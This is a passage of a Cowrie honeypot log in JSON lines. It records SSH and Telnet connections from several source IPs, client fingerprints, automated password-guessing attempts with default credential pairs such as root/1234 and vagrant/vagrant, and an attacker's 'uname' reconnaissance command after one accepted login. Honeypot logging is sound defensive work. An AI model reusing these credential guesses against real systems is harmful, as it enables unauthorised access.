m","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:21.390972Z","src_ip":"176.65.132.129","session":"6c2edc2ee9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.25613331794739,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:21.444536Z","src_ip":"152.42.224.71","session":"3ecbe1cb6bdc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:21.637658Z","src_ip":"176.65.132.129","session":"6c2edc2ee9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":34258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0967d7ca23c","protocol":"telnet","message":"New connection: 35.187.68.36:34258 (10.17.0.5:23) [session: d0967d7ca23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:22.502763Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":34272,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f74773d9c2","protocol":"telnet","message":"New connection: 35.187.68.36:34272 (10.17.0.5:23) [session: 70f74773d9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:22.657025Z"}
{"eventid":"cowrie.session.closed","duration":0.005784749984741211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:22.662706Z","src_ip":"35.187.68.36","session":"70f74773d9c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:22.722111Z","src_ip":"176.65.132.129","session":"6c2edc2ee9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":34276,"dst_ip":"10.17.0.5","dst_port":23,"session":"5207bbb4d47c","protocol":"telnet","message":"New connection: 35.187.68.36:34276 (10.17.0.5:23) [session: 5207bbb4d47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:22.813743Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73c00f9ae8d","protocol":"ssh","message":"New connection: 176.65.132.129:34174 (159.203.135.109:22) [session: c73c00f9ae8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:24.465400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:24.469699Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:24.550825Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.811175107955933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:24.713999Z","src_ip":"45.226.120.188","session":"9f208a173b9e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:24.800283Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:25.015529Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:25.019332Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:25.224278Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:25.228899Z","src_ip":"176.65.132.129","session":"c73c00f9ae8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56912,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f22ff598937","protocol":"ssh","message":"New connection: 176.65.132.129:56912 (159.203.135.109:22) [session: 9f22ff598937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:27.824967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:27.931224Z","src_ip":"176.65.132.129","session":"9f22ff598937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:27.936465Z","src_ip":"176.65.132.129","session":"9f22ff598937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:28.261211Z","src_ip":"176.65.132.129","session":"9f22ff598937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:29.346329Z","src_ip":"176.65.132.129","session":"9f22ff598937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.37919020652771,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:29.799811Z","src_ip":"152.42.224.71","session":"5038448dfc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fcbcb3559ef","protocol":"ssh","message":"New connection: 176.65.132.129:56922 (159.203.135.109:22) [session: 6fcbcb3559ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:31.250310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:31.257148Z","src_ip":"176.65.132.129","session":"6fcbcb3559ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:31.338657Z","src_ip":"176.65.132.129","session":"6fcbcb3559ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:31.585509Z","src_ip":"176.65.132.129","session":"6fcbcb3559ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:32.669079Z","src_ip":"176.65.132.129","session":"6fcbcb3559ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.248837232589722,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:32.751467Z","src_ip":"35.187.68.36","session":"d0967d7ca23c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":51596,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b00ddf5b85e","protocol":"ssh","message":"New connection: 45.162.8.14:51596 (10.17.0.5:22) [session: 4b00ddf5b85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.002334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.007173Z","src_ip":"45.162.8.14","session":"4b00ddf5b85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.122651Z","src_ip":"45.162.8.14","session":"4b00ddf5b85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!@","message":"login attempt [root/Welcome!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.613253Z","src_ip":"45.162.8.14","session":"4b00ddf5b85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":49558,"dst_ip":"159.203.135.109","dst_port":22,"session":"965dc6c8a9bb","protocol":"ssh","message":"New connection: 103.75.183.219:49558 (159.203.135.109:22) [session: 965dc6c8a9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.779543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:33.786201Z","src_ip":"103.75.183.219","session":"965dc6c8a9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.029921Z","src_ip":"103.75.183.219","session":"965dc6c8a9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56942,"dst_ip":"159.203.135.109","dst_port":22,"session":"402186aee63e","protocol":"ssh","message":"New connection: 176.65.132.129:56942 (159.203.135.109:22) [session: 402186aee63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.456824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.461186Z","src_ip":"176.65.132.129","session":"402186aee63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.542895Z","src_ip":"176.65.132.129","session":"402186aee63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.731700Z","src_ip":"45.162.8.14","session":"4b00ddf5b85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"202020","message":"login attempt [root/202020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.771787Z","src_ip":"103.75.183.219","session":"965dc6c8a9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.790820Z","src_ip":"176.65.132.129","session":"402186aee63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.88744854927063,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:34.940618Z","src_ip":"152.42.224.71","session":"5e8047b69a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:35.875610Z","src_ip":"176.65.132.129","session":"402186aee63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:36.021363Z","src_ip":"103.75.183.219","session":"965dc6c8a9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51610,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4b88f059f1","protocol":"ssh","message":"New connection: 176.65.132.129:51610 (159.203.135.109:22) [session: 8d4b88f059f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:37.790710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:37.887621Z","src_ip":"176.65.132.129","session":"8d4b88f059f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:37.911663Z","src_ip":"176.65.132.129","session":"8d4b88f059f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:38.225001Z","src_ip":"176.65.132.129","session":"8d4b88f059f1","protocol":"ssh"}
